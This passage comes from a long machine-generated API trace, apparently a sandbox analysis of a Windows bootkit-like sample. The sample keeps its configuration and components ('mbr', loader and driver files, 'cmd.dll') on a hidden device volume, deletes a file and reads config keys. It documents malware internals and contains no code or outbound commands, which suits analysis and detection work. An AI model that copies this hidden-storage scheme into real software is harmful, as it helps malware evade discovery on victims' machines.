CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.700] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6860 [0121.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.700] KeLeaveCriticalRegion () [0121.700] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.700] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.700] KeEnterCriticalRegion () [0121.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.700] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.700] KeLeaveCriticalRegion () [0121.700] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.700] KeEnterCriticalRegion () [0121.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.700] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.700] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.700] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.700] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.700] IdePortDispatch () returned 0x103 [0121.700] KeWaitForMutexObject () returned 0x0 [0121.700] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.700] KeLeaveCriticalRegion () [0121.700] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.701] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.701] KeEnterCriticalRegion () [0121.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.701] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b79000 [0121.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.701] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.701] IdePortDispatch () returned 0x103 [0121.701] KeWaitForMutexObject () returned 0x0 [0121.701] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.701] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.701] IdePortDispatch () returned 0x103 [0121.701] KeWaitForMutexObject () returned 0x0 [0121.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.701] KeLeaveCriticalRegion () [0121.701] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.702] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.702] KeEnterCriticalRegion () [0121.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.702] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.702] KeLeaveCriticalRegion () [0121.702] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.702] KeEnterCriticalRegion () [0121.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.702] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.702] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.702] KeLeaveCriticalRegion () [0121.702] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.702] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.702] KeEnterCriticalRegion () [0121.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.702] ExFreePoolWithTag (P=0xfffffa8003bd6860, Tag=0x0) [0121.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.702] KeLeaveCriticalRegion () [0121.702] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.702] ReleaseMutex (hMutex=0xf0) returned 1 [0121.702] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.702] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.702] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.702] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.702] KeEnterCriticalRegion () [0121.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.702] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.702] IdePortDispatch () returned 0x103 [0121.703] KeWaitForMutexObject () returned 0x0 [0121.703] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.703] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.703] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.703] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.703] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.703] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.703] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.703] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.703] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.703] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.703] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.703] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.703] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.703] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.703] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.703] KeLeaveCriticalRegion () [0121.703] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.703] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.703] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.703] KeEnterCriticalRegion () [0121.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.703] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.703] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.703] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.703] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.703] IdePortDispatch () returned 0x103 [0121.704] KeWaitForMutexObject () returned 0x0 [0121.704] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.704] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.704] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.704] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.704] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.704] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.704] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.704] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.704] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.704] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.704] KeLeaveCriticalRegion () [0121.704] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.704] ReleaseMutex (hMutex=0x100) returned 1 [0121.704] Sleep (dwMilliseconds=0x2bf20) [0121.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bbdbf90, dwHighDateTime=0x1d24fa4)) [0121.710] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.711] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.711] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.711] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.711] KeEnterCriticalRegion () [0121.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.711] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.711] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.711] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.711] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.711] IdePortDispatch () returned 0x103 [0121.711] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.711] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.711] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.712] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.712] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.712] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6a00 [0121.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.712] KeLeaveCriticalRegion () [0121.712] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.712] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.712] KeEnterCriticalRegion () [0121.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.712] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.712] KeLeaveCriticalRegion () [0121.712] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.712] KeEnterCriticalRegion () [0121.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.712] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.712] IdePortDispatch () returned 0x103 [0121.712] KeWaitForMutexObject () returned 0x0 [0121.712] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.712] KeLeaveCriticalRegion () [0121.712] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.712] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.712] KeEnterCriticalRegion () [0121.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.712] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7c000 [0121.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.712] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.712] IdePortDispatch () returned 0x103 [0121.712] KeWaitForMutexObject () returned 0x0 [0121.713] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.713] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.713] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.713] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.713] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.713] IdePortDispatch () returned 0x103 [0121.713] KeWaitForMutexObject () returned 0x0 [0121.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.713] KeLeaveCriticalRegion () [0121.713] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.713] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.713] KeEnterCriticalRegion () [0121.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.713] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.713] KeLeaveCriticalRegion () [0121.714] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.714] KeEnterCriticalRegion () [0121.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.714] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.714] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.714] KeLeaveCriticalRegion () [0121.714] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.714] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.714] KeEnterCriticalRegion () [0121.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.714] ExFreePoolWithTag (P=0xfffffa8003bd6a00, Tag=0x0) [0121.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.714] KeLeaveCriticalRegion () [0121.714] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.714] ReleaseMutex (hMutex=0xf0) returned 1 [0121.714] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.714] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.714] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.714] KeEnterCriticalRegion () [0121.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.714] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.714] IdePortDispatch () returned 0x103 [0121.714] KeWaitForMutexObject () returned 0x0 [0121.714] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.714] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.714] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.714] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.714] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.714] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdf10 [0121.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.714] KeLeaveCriticalRegion () [0121.714] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.715] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.715] KeEnterCriticalRegion () [0121.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.715] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.715] KeLeaveCriticalRegion () [0121.715] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.715] KeEnterCriticalRegion () [0121.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.715] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.715] IdePortDispatch () returned 0x103 [0121.715] KeWaitForMutexObject () returned 0x0 [0121.715] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.715] KeLeaveCriticalRegion () [0121.715] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.715] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.715] KeEnterCriticalRegion () [0121.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.715] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7d000 [0121.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.715] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.715] IdePortDispatch () returned 0x103 [0121.715] KeWaitForMutexObject () returned 0x0 [0121.716] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.716] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.716] IdePortDispatch () returned 0x103 [0121.716] KeWaitForMutexObject () returned 0x0 [0121.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.716] KeLeaveCriticalRegion () [0121.716] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.716] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.716] KeEnterCriticalRegion () [0121.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.716] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.716] ExReleaseFastMutexUnsafe (in: 